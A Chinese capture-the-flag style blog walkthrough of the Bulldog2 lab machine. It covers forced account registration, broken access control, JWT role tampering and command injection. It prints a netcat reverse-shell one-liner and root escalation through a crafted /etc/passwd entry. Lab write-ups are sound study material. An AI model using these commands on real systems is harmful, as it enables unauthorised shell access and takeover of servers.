靶机渗透之Bulldog2(六)

一、环境准备

一台kali,一台FourAndSix2,能相互ping通

二、靶机发现

1.主机发现,用kali扫描靶机ip地址为192.168.56.103

netdiscover -I eth0 -r 192.168.56.0/24

三、服务识别

利用nmap扫描开放端口和服务

nmap -sV -T4 -O 192.168.56.103

在这里插入图片描述

四、漏洞利用

1.发现只开放了80端口,然后访问该IP地址,发现登录界面,尝试目录扫描,发现没有可用信息
2.查看主页,发先上面有一个注册按钮,但是点击之后报错
在这里插入图片描述
3.查看js文件, 使用Register关键字进行搜索;根据js的定义,我们可以使用post提交新账户信息来完成注册
在这里插入图片描述
4.抓包,导入repeater里面构造数据包,然后post数据包,将之前的认证改为register,发送注册成功
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
5.用注册的账户登录,成功登陆
6.再次注册几个账号
在这里插入图片描述
7.测试是否存在逻辑漏洞
登录111观察网页特点,发现url中路径结尾和用户名一样,测试是否存在越权漏洞,在不登出111用户的前题下,把url修改位别的用户名,下图可以看到成功登录别的用户界面,说明存在水平越权漏洞
在这里插入图片描述
在这里插入图片描述
8.测试是否存在未授权访问漏洞
在另一个浏览器,访问http://192.168.56.103/profile/222,没有经过身份验证直接进入222账户的管理界面
在这里插入图片描述
9.再次登录222用户,发现页面没什么,没有什么可以利用的,重新登录,抓包分析,靶机返回一个奇怪的token
在这里插入图片描述
10. 返回包 带有一个JWT开头的token字段;这个token传递了什么信息呢;
JWT(Json Web Token)的声明,一般用于身份提供者和服务提供者间,来传递被认证的用户身份信息,以便从资源服务器获取资源,也可以增加一些额外的其他业务逻辑所必须的声明信息,该token也可直接被用于认证或被加密;
11.查看token信息:搜索jwt解密,就可以得到如下的网址,也就是jwt解密的网址;
在这里插入图片描述
12.将brupsuite中抓到的token中的信息进行破解;
在这里插入图片描述
14.可以看到有个auth_level的参数,通过名字可以看出是关于用户权限的,我们可以使用这个参数去在js文件中进行搜索;
在这里插入图片描述
15. 可以看到master_admin_user疑似管理员,尝试用它替换掉standard_user
在burp拦截响应数据包,修改响应数据包,然后转发
在这里插入图片描述
在这里插入图片描述
16.此时再看kkk账户已经变成管理员,说明存在垂直越权漏洞
在这里插入图片描述
17.点击管理员,修改密码处存在命令执行漏洞,获取shell;抓包,然后发送到repeater发现密码不正确,但是服务器返回的状态依然是200
在这里插入图片描述
18.直接在修改密码处执行漏洞拿反弹shell;此处的反弹shell为:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.102 1234 >/tmp/f; 

在攻击端开启监听,发送数据包,这时攻击端便获得目标的shell了
在这里插入图片描述
在这里插入图片描述
提权
1.查看whoami,发现没权限
2.查看passwd权限,可以看到权限为777
在这里插入图片描述
3.添加一个具有root权限的账户,命令

perl -le ‘print crypt(“admin”, “sa”)

PS: 其中,admin为加密的密码;admin表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
在这里插入图片描述

4.将新创建的用户写到passwd文件中,命令:

echo ‘admin: adpexzg3FUZAk:0:0:admin:/root:/bin/bash’

然后查看
在这里插入图片描述
5.当前不是终端,无法切换用户,用命令切换,然后获得管理员权限,命令

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

五、总结:

1.信息收集
2.水平越权
3.垂直越权
4.未授权访问
5.任意账户注册
6.命令执行  
一般情况下,如果网站没有发现什么可利用的目录,就可以尝试查看js页面,一般会有突破口;
如果一个页面输入的用户名或密码错误,但是返回的状态码依然是200的话,就可以尝试进行命令执行漏洞,获取shell;
如果普通用户权限对/etc/passwd文件有写权限,我们就可以提权时创建一个新用户(perl -le ‘print crypt(“pass”,“aa”)’),将其以root用户的格式写入/etc/passwd文件中,然后su 创建的用户 就可以提权成功;

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值